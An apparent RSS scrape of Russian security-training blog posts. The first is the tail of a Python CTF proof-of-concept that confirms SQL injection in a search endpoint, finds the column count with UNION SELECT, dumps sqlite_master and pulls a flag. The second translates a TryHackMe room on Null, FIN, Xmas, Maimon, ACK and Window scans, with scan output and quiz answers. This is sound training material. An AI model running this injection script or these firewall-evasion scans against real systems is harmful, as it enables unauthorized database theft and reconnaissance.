    <p id="g7IJ"><br />def step(num, title):<br />    print()<br />    print(f&quot;{C.BOLD}{C.G}[ШАГ {num}]{C.END} {C.BOLD}{C.W}{title}{C.END}&quot;)<br />    print(f&quot;{C.G}{&#x27;-&#x27; * 68}{C.END}&quot;)</p>
    <p id="GIfS"><br />def info(label, value):<br />    print(f&quot;  {C.G}{label}:{C.END} {C.W}{value}{C.END}&quot;)</p>
    <p id="kgCn"><br />def good(text):<br />    print(f&quot;  {C.BOLD}{C.G}[+]{C.END} {C.W}{text}{C.END}&quot;)</p>
    <p id="BsJ6"><br />def bad(text):<br />    print(f&quot;  {C.BOLD}{C.G}[-]{C.END} {C.W}{text}{C.END}&quot;)</p>
    <p id="VAFl"><br />def note(text):<br />    print(f&quot;  {C.G}[*]{C.END} {C.W}{text}{C.END}&quot;)</p>
    <p id="EGwV"><br /># ---------- HTTP ----------</p>
    <p id="uSMP">def send_filter(target, raw_payload, timeout=10):<br />    &quot;&quot;&quot;<br />    Кодирует raw_payload в base64 и отправляет POST на /api/posts/search.<br />    Возвращает (json_obj, b64_payload).<br />    &quot;&quot;&quot;<br />    b64 = base64.b64encode(raw_payload.encode()).decode()<br />    body = json.dumps({&quot;filter&quot;: b64}).encode()</p>
    <p id="Pswv">    req = urllib.request.Request(<br />        url=target + ENDPOINT,<br />        data=body,<br />        headers={&quot;Content-Type&quot;: &quot;application/json&quot;},<br />        method=&quot;POST&quot;,<br />    )<br />    try:<br />        with urllib.request.urlopen(req, timeout=timeout) as resp:<br />            data = resp.read().decode(errors=&quot;replace&quot;)<br />    except urllib.error.HTTPError as e:<br />        data = e.read().decode(errors=&quot;replace&quot;)<br />    except urllib.error.URLError as e:<br />        bad(f&quot;сеть недоступна: {e}&quot;)<br />        sys.exit(1)</p>
    <p id="YeW7">    try:<br />        return json.loads(data), b64<br />    except json.JSONDecodeError:<br />        return {&quot;_raw&quot;: data}, b64</p>
    <p id="xHf3"><br /># ---------- шаги PoC ----------</p>
    <p id="ax4V">def step1_probe(target):<br />    step(1, &quot;Проверка доступности и базового поведения фильтра&quot;)<br />    note(&quot;Шлём filter=&#x27;%&#x27; — в SQL LIKE это wildcard. Если вернутся &quot;<br />         &quot;все посты, значит на сервере действительно LIKE-подобный поиск.&quot;)</p>
    <p id="rLzV">    payload = &quot;%&quot;<br />    info(&quot;Raw payload&quot;, repr(payload))<br />    res, b64 = send_filter(target, payload)<br />    info(&quot;Base64&quot;, b64)<br />    info(&quot;Тело запроса&quot;, json.dumps({&quot;filter&quot;: b64}))</p>
    <p id="v812">    if res.get(&quot;success&quot;) and res.get(&quot;data&quot;):<br />        good(f&quot;сервер вернул {len(res[&#x27;data&#x27;])} пост(ов) — поиск работает&quot;)<br />    else:<br />        bad(f&quot;неожиданный ответ: {res}&quot;)<br />        sys.exit(1)</p>
    <p id="ByQB"><br />def step2_confirm_sqli(target):<br />    step(2, &quot;Подтверждение SQL-инъекции (одинарная кавычка)&quot;)<br />    note(&quot;Шлём filter=&#x27;. Если кавычка экранируется — получим пустой &quot;<br />         &quot;массив. Если влетает в SQL как есть — сервер вернёт SQL-ошибку, &quot;<br />         &quot;и по её тексту мы определим тип СУБД.&quot;)</p>
    <p id="t5sa">    payload = &quot;&#x27;&quot;<br />    info(&quot;Raw payload&quot;, repr(payload))<br />    res, _ = send_filter(target, payload)<br />    info(&quot;Ответ&quot;, json.dumps(res, ensure_ascii=False))</p>
    <p id="Ilks">    err = (res.get(&quot;error&quot;) or &quot;&quot;).lower()<br />    if &quot;unrecognized token&quot; in err:<br />        good(&quot;SQLi подтверждена. СУБД: SQLite &quot;<br />             &quot;(подпись: &#x27;unrecognized token&#x27;).&quot;)<br />    elif &quot;syntax&quot; in err or &quot;sql&quot; in err:<br />        good(f&quot;SQL-ошибка от сервера: {res.get(&#x27;error&#x27;)}&quot;)<br />    else:<br />        bad(&quot;кавычка обрабатывается безопасно — инъекция не очевидна&quot;)<br />        sys.exit(1)</p>
    <p id="pw79"><br />def step3_columns(target):<br />    step(3, &quot;Определение числа колонок через UNION SELECT&quot;)<br />    note(&quot;Подбираем количество колонок: SELECT в UNION должен &quot;<br />         &quot;возвращать столько же столбцов, сколько и оригинальный.&quot;)</p>
    <p id="Wonz">    for n in (1, 2, 3, 4, 5):<br />        cols = &quot;,&quot;.join(str(i) for i in range(1, n + 1))<br />        payload = f&quot;%&#x27; UNION SELECT {cols}-- &quot;<br />        res, _ = send_filter(target, payload)<br />        info(f&quot;{n} колонк(а/и)&quot;, json.dumps(res)[:120] + (<br />             &quot;...&quot; if len(json.dumps(res)) &gt; 120 else &quot;&quot;))<br />        if res.get(&quot;success&quot;):<br />            good(f&quot;подошло: {n} колонок&quot;)<br />            return n</p>
    <p id="jPkh">    bad(&quot;не удалось определить число колонок&quot;)<br />    sys.exit(1)</p>
    <p id="tBiF"><br />def step4_dump_schema(target, n_cols):<br />    step(4, &quot;Дамп схемы из sqlite_master&quot;)<br />    note(&quot;sqlite_master хранит DDL всех пользовательских таблиц. &quot;<br />         &quot;Достаём столбцы name и sql.&quot;)</p>
    <p id="WjLe">    # формат: 1, name, sql, ... ,  паддинг 4..N если нужно<br />    extra = &quot;,&quot;.join(str(i) for i in range(4, n_cols + 1))<br />    cols = &quot;1,name,sql&quot; + (&quot;,&quot; + extra if extra else &quot;&quot;)<br />    payload = f&quot;%&#x27; UNION SELECT {cols} FROM sqlite_master-- &quot;</p>
    <p id="CNLY">    info(&quot;Raw payload&quot;, payload)<br />    res, b64 = send_filter(target, payload)<br />    info(&quot;Base64&quot;, b64)</p>
    <p id="HOJJ">    if not res.get(&quot;success&quot;):<br />        bad(f&quot;ошибка: {res}&quot;)<br />        sys.exit(1)</p>
    <p id="jhGd">    tables = []<br />    for row in res[&quot;data&quot;]:<br />        name = row.get(&quot;title&quot;)<br />        ddl = row.get(&quot;content&quot;, &quot;&quot;)<br />        if isinstance(ddl, str) and ddl.upper().startswith(&quot;CREATE TABLE&quot;):<br />            tables.append((name, ddl))</p>
    <p id="PDcX">    good(f&quot;обнаружено таблиц: {len(tables)}&quot;)<br />    for name, ddl in tables:<br />        print(f&quot;    {C.BOLD}{C.G}{name:&lt;20}{C.END} {C.W}{ddl.strip()[:80]}{C.END}&quot;)</p>
    <p id="HXVA">    flag_table = next((t for t in tables if &quot;flag&quot; in (t[0] or &quot;&quot;).lower()), None)<br />    if flag_table:<br />        good(f&quot;найдена таблица с флагом: {flag_table[0]}&quot;)<br />        return flag_table<br />    bad(&quot;таблица с флагом не найдена — нужно искать вручную&quot;)<br />    sys.exit(1)</p>
    <p id="wzaF"><br />def step5_extract_flag(target, n_cols, flag_table):<br />    step(5, &quot;Извлечение флага&quot;)<br />    table_name, ddl = flag_table</p>
    <p id="kPVf">    # вытаскиваем имя колонки из DDL: CREATE TABLE flag ( flag TEXT NOT NULL )<br />    import re<br />    m = re.search(r&quot;\(\s*([A-Za-z_][A-Za-z0-9_]*)&quot;, ddl)<br />    col = m.group(1) if m else &quot;flag&quot;<br />    info(&quot;Таблица&quot;, table_name)<br />    info(&quot;Колонка&quot;, col)</p>
    <p id="kB9t">    extra = &quot;,&quot;.join(str(i) for i in range(4, n_cols + 1))<br />    cols = f&quot;1,{col},{col}&quot; + (&quot;,&quot; + extra if extra else &quot;&quot;)<br />    payload = f&quot;%&#x27; UNION SELECT {cols} FROM {table_name}-- &quot;</p>
    <p id="R4ys">    info(&quot;Raw payload&quot;, payload)<br />    res, b64 = send_filter(target, payload)<br />    info(&quot;Base64&quot;, b64)</p>
    <p id="reEk">    if not res.get(&quot;success&quot;):<br />        bad(f&quot;ошибка: {res}&quot;)<br />        sys.exit(1)</p>
    <p id="Y7EC">    flags = []<br />    for row in res[&quot;data&quot;]:<br />        title = str(row.get(&quot;title&quot;, &quot;&quot;))<br />        content = str(row.get(&quot;content&quot;, &quot;&quot;))<br />        for v in (title, content):<br />            if v and v not in flags and any(s in v.lower() for s in<br />                    (&quot;flag{&quot;, &quot;codeby{&quot;, &quot;ctf{&quot;, &quot;htb{&quot;)):<br />                flags.append(v)</p>
    <p id="WvmV">    if not flags:<br />        bad(&quot;в ответе не нашлось ничего похожего на флаг — вот сырые данные:&quot;)<br />        print(json.dumps(res, ensure_ascii=False, indent=2))<br />        sys.exit(1)</p>
    <p id="fH5f">    return flags[0]</p>
    <p id="hMW2"><br /># ---------- main ----------</p>
    <p id="fmwn">BANNER = r&quot;&quot;&quot;<br /> ___      __   __   __                      ___  __             __  <br />|__      |__) /  \ /  &#x60;     |__|  /\  |__/ |__  |__) |     /\  |__) <br />|    ___ |    \__/ \__, ___ |  | /~~\ |  \ |___ |  \ |___ /~~\ |__) <br />                                                                    <br />&quot;&quot;&quot;</p>
    <p id="q8mJ"><br />def main():<br />    target = sys.argv[1].rstrip(&quot;/&quot;) if len(sys.argv) &gt; 1 else DEFAULT_TARGET</p>
    <p id="kGlx">    print(f&quot;{C.BOLD}{C.G}{BANNER}{C.END}&quot;)<br />    banner(f&quot;PoC SQLi — POSTимся ({target})&quot;)<br />    info(&quot;Target&quot;, target)<br />    info(&quot;Endpoint&quot;, ENDPOINT)<br />    info(&quot;Метод&quot;, &quot;POST + JSON {filter: base64}&quot;)</p>
    <p id="nxAG">    step1_probe(target)<br />    step2_confirm_sqli(target)<br />    n_cols = step3_columns(target)<br />    flag_table = step4_dump_schema(target, n_cols)<br />    flag = step5_extract_flag(target, n_cols, flag_table)</p>
    <p id="OFBu">    banner(&quot;РЕЗУЛЬТАТ&quot;)<br />    print(f&quot;  {C.BOLD}{C.G}FLAG:{C.END} {C.BOLD}{C.W}{flag}{C.END}&quot;)<br />    print()</p>
    <p id="TVy4"><br />if __name__ == &quot;__main__&quot;:<br />    main()<br /></p>
  </section>
  <hr />
  <p id="ckMH"><a href="http://t.me/pentest89" target="_blank"><strong>Основная группа</strong></a> обучения ИБ<br /><strong><a href="https://t.me/+fXKM89fYCMVmYjFi" target="_blank">Lab-группу</a></strong> с полезным софтом / книгами / аудио.<br /><a href="https://t.me/+RuwyHi0We0lmZDhi" target="_blank"><strong>Чат</strong> </a>для обсуждений, задавай свои вопросы.<br />P.S. С вами был <a href="https://t.me/Fnay_Offensive" target="_blank">@Fnay_Offensive</a><br />До новой встречи, user_name!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@fnay_offensive/post_47</guid><link>https://teletype.in/@fnay_offensive/post_47?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><comments>https://teletype.in/@fnay_offensive/post_47?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive#comments</comments><dc:creator>fnay_offensive</dc:creator><title>День 43. Nmap Advanced Port Scans</title><pubDate>Wed, 04 Mar 2026 10:19:41 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/47/e7/47e77940-f4d0-43f1-b811-ebb1c539b0ea.png"></media:content><description><![CDATA[<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/23540a5fcd27454892a73ac051d29664.png"></img>Изучите продвинутые методы, такие как сканирование с использованием нулевых адресов, FIN-сканирование, сканирование Xmas и сканирование в режиме ожидания (зомби-сканирование), подмена адресов, а также обход брандмауэров и систем обнаружения вторжений.]]></description><content:encoded><![CDATA[
  <figure id="uHx9" class="m_original">
    <img src="https://img3.teletype.in/files/e7/16/e716d871-0f6c-4f21-a01c-30697c89f8ab.jpeg" width="1200" />
  </figure>
  <p id="sYBR">Изучите продвинутые методы, такие как сканирование с использованием нулевых адресов, FIN-сканирование, сканирование Xmas и сканирование в режиме ожидания (зомби-сканирование), подмена адресов, а также обход брандмауэров и систем обнаружения вторжений.</p>
  <figure id="EhQP" class="m_original">
    <img src="https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg" width="1920" />
  </figure>
  <h2 id="2q4e">Task 1. Introduction </h2>
  <p id="xQ5M">Эта комната — третья в серии уроков по Nmap (часть модуля «Введение в сетевую безопасность»). В первых двух комнатах мы изучили обнаружение хостов в режиме реального времени и базовое сканирование портов.</p>
  <figure id="fl61" class="m_original">
    <img src="https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg" width="1200" />
  </figure>
  <ol id="uP8Z">
    <li id="Ps88"><a href="https://tryhackme.com/room/nmap01" target="_blank">Nmap Live Host Discovery</a></li>
    <li id="jtMO"><a href="https://tryhackme.com/room/nmap02" target="_blank">Базовое сканирование портов Nmap</a></li>
    <li id="jfUp"><a href="https://tryhackme.com/room/nmap03" target="_blank">Расширенное сканирование портов Nmap</a></li>
    <li id="AKUq"><a href="https://tryhackme.com/room/nmap04" target="_blank">Nmap после сканирования портов</a></li>
  </ol>
  <p id="tV8V">В разделе « <a href="https://tryhackme.com/room/nmap02" target="_blank">Базовое сканирование портов с помощью Nmap»</a> мы рассмотрели флаги TCP и повторили трехэтапное рукопожатие TCP . Для установления соединения TCP требует, чтобы первый пакет имел установленный флаг SYN. ​​Следовательно, мы можем определить, открыт ли порт TCP , по полученному ответу.</p>
  <p id="YkR9">Исследователи безопасности и хакеры изучили флаги TCP , показанные на рисунке ниже и объясненные в предыдущем разделе, и начали экспериментировать. Они хотели узнать, что произойдет, если отправить TCP- пакет, не являющийся частью какого-либо текущего TCP- соединения, с одним или несколькими установленными флагами.</p>
  <figure id="Xh7q" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/23540a5fcd27454892a73ac051d29664.png" width="1282" />
  </figure>
  <p id="5Kup">Например, флаг ACK устанавливается, когда вы хотите подтвердить получение данных. Сканирование ACK — это как попытка подтвердить данные, которые изначально не были ни отправлены, ни получены. Рассмотрим простую аналогию: кто-то внезапно подходит к вам и говорит: «Да, я вас слышу, пожалуйста, продолжайте», хотя вы ничего не сказали.</p>
  <p id="llOm">В этом разделе рассматриваются расширенные типы сканирования и параметры сканирования. Некоторые из этих типов сканирования могут быть полезны для конкретных систем, в то время как другие полезны в определенных сетевых конфигурациях. Мы рассмотрим следующие типы сканирования портов:</p>
  <ul id="FaMQ">
    <li id="TwlC">Нулевое сканирование</li>
    <li id="k9jD">Сканирование FIN</li>
    <li id="Mlsb">Рождественское сканирование</li>
    <li id="wdlq">Скан Маймона</li>
    <li id="I0pq">ACK Scan</li>
    <li id="edRj">Сканирование окна</li>
    <li id="YZ0p">Пользовательское сканирование</li>
  </ul>
  <p id="0N0y">Кроме того, мы рассмотрим следующие вопросы:</p>
  <ul id="X1g2">
    <li id="RSxl">Подмена IP-адреса</li>
    <li id="lexH">Подмена MAC-адреса</li>
    <li id="YNcc">Сканирование ложной цели</li>
    <li id="ag1W">Фрагментированные пакеты</li>
    <li id="8U1V">Сканирование в режиме ожидания/ зомби</li>
  </ul>
  <p id="Qik5">Мы обсудим варианты и методы обхода брандмауэров и систем обнаружения вторжений . Мы также рассмотрим способы получения более подробной информации от Nmap .</p>
  <p id="2A2R"></p>
  <h2 id="7AuK">Task 2. TCP Null Scan, FIN Scan, and Xmas Scan </h2>
  <p id="jnw8">Начнём с следующих трёх типов сканирования:</p>
  <ul id="VXhi">
    <li id="3a0w">Нулевое сканирование</li>
    <li id="a0Q4">Сканирование FIN</li>
    <li id="9PUU">Рождественское сканирование</li>
  </ul>
  <h3 id="ARt6">Нулевое сканирование</h3>
  <p id="p1RM">При сканировании без флагов никакие флаги не устанавливаются; все шесть битов флагов устанавливаются в ноль. Вы можете выбрать этот режим сканирования с помощью соответствующей <code>-sN</code>опции. TCP-пакет без установленных флагов не вызовет никакого ответа при достижении открытого порта, как показано на рисунке ниже. Поэтому с точки зрения Nmap отсутствие ответа при сканировании без флагов указывает на то, что либо порт открыт, либо брандмауэр блокирует пакет.</p>
  <figure id="S1Xv" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/04b178a9cf7048c21256988b8b2343e3.png" width="862" />
  </figure>
  <p id="rMAe">Однако мы ожидаем, что целевой сервер ответит пакетом RST, если порт закрыт. Следовательно, отсутствие ответа RST позволит нам определить, какие порты не закрыты: открыты или отфильтрованы.</p>
  <figure id="UVtn" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/224e01a913a1ce7b0fb2b9290ff5e1c8.png" width="862" />
  </figure>
  <p id="5FOx">Ниже приведён пример сканирования на отсутствие ответа на сервере Linux. Проведённое нами сканирование на отсутствие ответа успешно выявило шесть открытых портов в целевой системе. Поскольку сканирование на отсутствие ответа основано на предположении, что порт не закрыт, оно не может с уверенностью указывать на то, что эти порты открыты; существует вероятность того, что порты не отвечают из-за правила брандмауэра.</p>
  <p id="yVqN">Терминал пентестера</p>
  <pre id="rJM2">pentester@TryHackMe$ sudo nmap -sN MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:30 BST
Nmap scan report for MACHINE_IP
Host is up (0.00066s latency).
Not shown: 994 closed ports
PORT    STATE         SERVICE
22/tcp  open|filtered ssh
25/tcp  open|filtered smtp
80/tcp  open|filtered http
110/tcp open|filtered pop3
111/tcp open|filtered rpcbind
143/tcp open|filtered imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 96.50 seconds</pre>
  <p id="oXB0">Обратите внимание, что для многих параметров Nmap требуются права root. Если вы не запускаете Nmap от имени root, вам необходимо использовать параметр <code>sudo</code>, как в примере выше <code>-sN</code>.</p>
  <h3 id="8RVB">Сканирование FIN</h3>
  <p id="AP8u">Сканирование FIN отправляет TCP-пакет с установленным флагом FIN. Вы можете выбрать этот тип сканирования с помощью соответствующей <code>-sF</code> опции. Аналогично, ответ не будет отправлен, если TCP- порт открыт. Опять же, Nmap не может быть уверен, открыт ли порт или же брандмауэр блокирует трафик, связанный с этим TCP- портом.</p>
  <figure id="ogla" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/78eb3d6ba158542f2b3223184b032e64.png" width="862" />
  </figure>
  <p id="UUYm">Однако целевая система должна ответить RST, если порт закрыт. Следовательно, мы сможем узнать, какие порты закрыты, и использовать эти знания для определения открытых или отфильтрованных портов. Стоит отметить, что некоторые межсетевые экраны могут «молча» отбрасывать трафик, не отправляя RST.</p>
  <figure id="4xTT" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/74dc07da7351a5a7f258948ec59efccc.png" width="862" />
  </figure>
  <p id="NkIv">Ниже приведён пример сканирования FIN на сервере Linux. Результат весьма похож на результат, полученный нами ранее при использовании сканирования без проверки.</p>
  <p id="N4Ro">Терминал пентестера</p>
  <pre id="rfLE">pentester@TryHackMe$ sudo nmap -sF MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:32 BST
Nmap scan report for MACHINE_IP
Host is up (0.0018s latency).
Not shown: 994 closed ports
PORT    STATE         SERVICE
22/tcp  open|filtered ssh
25/tcp  open|filtered smtp
80/tcp  open|filtered http
110/tcp open|filtered pop3
111/tcp open|filtered rpcbind
143/tcp open|filtered imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 96.52 seconds</pre>
  <h3 id="AjgI">Рождественское сканирование</h3>
  <p id="qnHh">Сканирование «Рождественское» получило свое название в честь рождественских гирлянд. При сканировании «Рождественское» одновременно устанавливаются флаги FIN, PSH и URG. Вы можете выбрать сканирование «Рождественское» с помощью соответствующей опции <code>-sX</code>.</p>
  <p id="rXAH">Как и в случае с сканированием Null и сканированием FIN, получение пакета RST означает, что порт закрыт. В противном случае будет указано, что он открыт|отфильтрован.</p>
  <p id="DZmW">На следующих двух рисунках показан случай, когда TCP-порт открыт, и случай, когда TCP-порт закрыт.</p>
  <figure id="htpT" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/7d28b756aed3b6eb72faf98d6974776c.png" width="862" />
  </figure>
  <figure id="sp4A" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/4304eacbc3db1af21657f285bc16ebce.png" width="862" />
  </figure>
  <p id="BYXt">Приведённый ниже вывод консоли демонстрирует пример сканирования Xmas на сервере Linux. Полученные результаты довольно похожи на результаты сканирования с нулевым значением и сканирования FIN.</p>
  <p id="gt2T">Терминал пентестера</p>
  <pre id="1OWd">pentester@TryHackMe$ sudo nmap -sX MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:34 BST
Nmap scan report for MACHINE_IP
Host is up (0.00087s latency).
Not shown: 994 closed ports
PORT    STATE         SERVICE
22/tcp  open|filtered ssh
25/tcp  open|filtered smtp
80/tcp  open|filtered http
110/tcp open|filtered pop3
111/tcp open|filtered rpcbind
143/tcp open|filtered imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 84.85 seconds</pre>
  <p id="H2vW">Один из сценариев, где эти три типа сканирования могут быть эффективны, — это сканирование цели за межсетевым экраном без сохранения состояния (stateless firewall) . Межсетевой экран без сохранения состояния проверяет, установлен ли входящий пакет флаг SYN для обнаружения попытки подключения. Использование комбинации флагов, не соответствующей пакету SYN, позволяет обмануть межсетевой экран и получить доступ к системе за ним. Однако межсетевой экран с сохранением состояния практически блокирует все такие специально сформированные пакеты и делает этот тип сканирования бесполезным.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="7l5W">Вопрос: При нулевом сканировании, сколько флагов устанавливаются в значение 1?</p>
    <p id="2zNV">Ответ: 0</p>
    <p id="esul">Вопрос: В ходе сканирования FIN, сколько флагов установлено в значение 1?</p>
    <p id="MSqE">Ответ: 1</p>
    <p id="eZzR">Вопрос: В ходе рождественского сканирования, сколько флагов установлено в значение 1?</p>
    <p id="BWhS">Ответ: 3</p>
    <p id="gjM9">Вопрос: Запустите виртуальную машину и загрузите AttackBox. После того, как оба компонента будут готовы, откройте терминал на AttackBox и используйте nmap для запуска сканирования FIN целевой виртуальной машины. Сколько портов отображается как открытые|отфильтрованные?</p>
    <p id="X7ms">Ответ: 9</p>
    <p id="5w8H">Вопрос: Повторите сканирование, запустив сканирование с нулевым количеством портов на целевой виртуальной машине. Сколько портов отображается как открытые/отфильтрованные?</p>
    <p id="JuGb">Ответ: 9</p>
  </section>
  <h2 id="o7I5">Task 3. TCP Maimon Scan </h2>
  <p id="9vZK">Уриэль Маймон впервые описал это сканирование в 1996 году. В этом сканировании устанавливаются биты FIN и ACK. Целевой объект должен отправить пакет RST в ответ. Однако некоторые системы, основанные на BSD, отбрасывают пакет, если это открытый порт, раскрывающий доступ к открытым портам. Это сканирование не будет работать на большинстве целей, встречающихся в современных сетях; тем не менее, мы включили его в этот раздел, чтобы лучше понять механизм сканирования портов и подход хакеров. Чтобы выбрать этот тип сканирования, используйте соответствующую <code>-sM</code>опцию.</p>
  <p id="dvsS">Большинство целевых систем отвечают пакетом RST независимо от того, открыт ли TCP-порт. В таком случае мы не сможем обнаружить открытые порты. На рисунке ниже показано ожидаемое поведение как при открытых, так и при закрытых TCP-портах.</p>
  <figure id="QeXl" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/8ca5e5e0f6e0a1843cebe11b5b0785b3.png" width="862" />
  </figure>
  <p id="O8hr">Приведённый ниже вывод консоли — это пример сканирования TCP-портов с помощью Maimon на сервере Linux. Как уже упоминалось, поскольку открытые и закрытые порты ведут себя одинаково, сканирование Maimon не смогло обнаружить ни одного открытого порта в целевой системе.</p>
  <p id="W0oF">Терминал пентестера</p>
  <pre id="l71D">pentester@TryHackMe$ sudo nmap -sM 10.10.252.27

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:36 BST
Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)
Host is up (0.00095s latency).
All 1000 scanned ports on ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27) are closed
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.61 seconds</pre>
  <p id="ja4a">Этот тип сканирования не является первым, который обычно выбирают для обнаружения системы; однако важно знать о нем, поскольку никогда не знаешь, когда он может пригодиться.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="R9FW">Вопрос: Сколько флагов установлено при сканировании Maimon?</p>
    <p id="z9pI">Ответ: 2</p>
  </section>
  <h2 id="j3m4">Task 4. TCP ACK, Window, and Custom Scan </h2>
  <p id="9KKR">В этом задании будет рассмотрено, как выполнить сканирование TCP ACK, сканирование TCP- окна и как создать собственное сканирование флагов.</p>
  <h3 id="bTgJ">Сканирование TCP ACK</h3>
  <p id="Fhln">Начнём с сканирования TCP ACK. Как следует из названия, сканирование ACK отправляет TCP- пакет с установленным флагом ACK. Используйте опцию <code>-sA </code>для выбора этого сканирования. Как показано на рисунке ниже, целевой сервер ответит на ACK сигналом RST независимо от состояния порта. Такое поведение обусловлено тем, что TCP-пакет с установленным флагом ACK должен отправляться только в ответ на полученный TCP-пакет для подтверждения получения данных, в отличие от нашего случая. Следовательно, в простой конфигурации это сканирование не покажет нам, открыт ли целевой порт.</p>
  <figure id="KQCv" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/a991831cedbb2761dde1fe66012a7311.png" width="862" />
  </figure>
  <p id="9hDy">В следующем примере мы просканировали целевую виртуальную машину до установки на нее брандмауэра. Как и ожидалось, нам не удалось узнать, какие порты были открыты.</p>
  <p id="gUsB">Терминал пентестера</p>
  <pre id="sPtN">pentester@TryHackMe$ sudo nmap -sA MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:37 BST
Nmap scan report for MACHINE_IP
Host is up (0.0013s latency).
All 1000 scanned ports on MACHINE_IP are unfiltered
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds
      </pre>
  <p id="0eH0">Такое сканирование было бы полезно, если перед целевым устройством установлен брандмауэр . В результате, на основе того, какие пакеты ACK привели к ответам, вы узнаете, какие порты не были заблокированы брандмауэром . Другими словами, этот тип сканирования больше подходит для обнаружения наборов правил и конфигурации брандмауэра .</p>
  <p id="LWu7">После настройки целевой виртуальной машины <code>MACHINE_IP </code>с брандмауэром мы повторили сканирование ACK. На этот раз мы получили интересные результаты. Как видно из приведенного ниже вывода консоли, три порта не блокируются брандмауэром. Этот результат указывает на то, что брандмауэр блокирует все остальные порты, кроме этих трех.</p>
  <p id="NlMJ">Терминал пентестера</p>
  <pre id="NR8p">pentester@TryHackMe$ sudo nmap -sA MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-07 11:34 BST
Nmap scan report for MACHINE_IP
Host is up (0.00046s latency).
Not shown: 997 filtered ports
PORT    STATE      SERVICE
22/tcp  unfiltered ssh
25/tcp  unfiltered smtp
80/tcp  unfiltered http
MAC Address: 02:78:C0:D0:4E:E9 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 15.45 seconds
      </pre>
  <h3 id="VOFs">Сканирование окна</h3>
  <p id="xd9N">Ещё один похожий тип сканирования — сканирование TCP- окна. Сканирование TCP- окна практически идентично сканированию ACK; однако оно анализирует поле TCP- окна в возвращаемых пакетах RST. В некоторых системах это может показать, что порт открыт. Вы можете выбрать этот тип сканирования с помощью опции <code>-sW </code>. Как показано на рисунке ниже, мы ожидаем получить пакет RST в ответ на наши «незапрошенные» пакеты ACK, независимо от того, открыт порт или закрыт.</p>
  <figure id="pHSN" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/5118dcb424d429376f09bf2f85db5bce.png" width="862" />
  </figure>
  <p id="ZTE7">Аналогично, запуск сканирования TCP-окна в системе Linux без брандмауэра не даст много информации. Как видно из приведенного ниже вывода консоли, результаты сканирования окна в системе Linux без брандмауэра не предоставили никакой дополнительной информации по сравнению с ранее выполненным сканированием ACK.</p>
  <p id="YKOz">Терминал пентестера</p>
  <pre id="npJE">pentester@TryHackMe$ sudo nmap -sW MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:38 BST
Nmap scan report for MACHINE_IP
Host is up (0.0011s latency).
All 1000 scanned ports on ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27) are closed
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds
      </pre>
  <p id="s3iy">Однако, как и следовало ожидать, если мы повторим сканирование TCP- окна на сервере за брандмауэром , мы рассчитываем получить более удовлетворительные результаты. В показанном ниже выводе консоли сканирование TCP- окна указало на то, что три порта обнаружены как закрытые. (Это контрастирует со сканированием ACK, которое пометило те же три порта как нефильтрованные.) Хотя мы знаем, что эти три порта не закрыты, мы понимаем, что они отреагировали по-разному, указывая на то, что брандмауэр их не блокирует.</p>
  <p id="VpxO">Терминал пентестера</p>
  <pre id="XmhK">pentester@TryHackMe$ sudo nmap -sW MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-07 11:39 BST
Nmap scan report for MACHINE_IP
Host is up (0.00040s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE
22/tcp  closed ssh
25/tcp  closed smtp
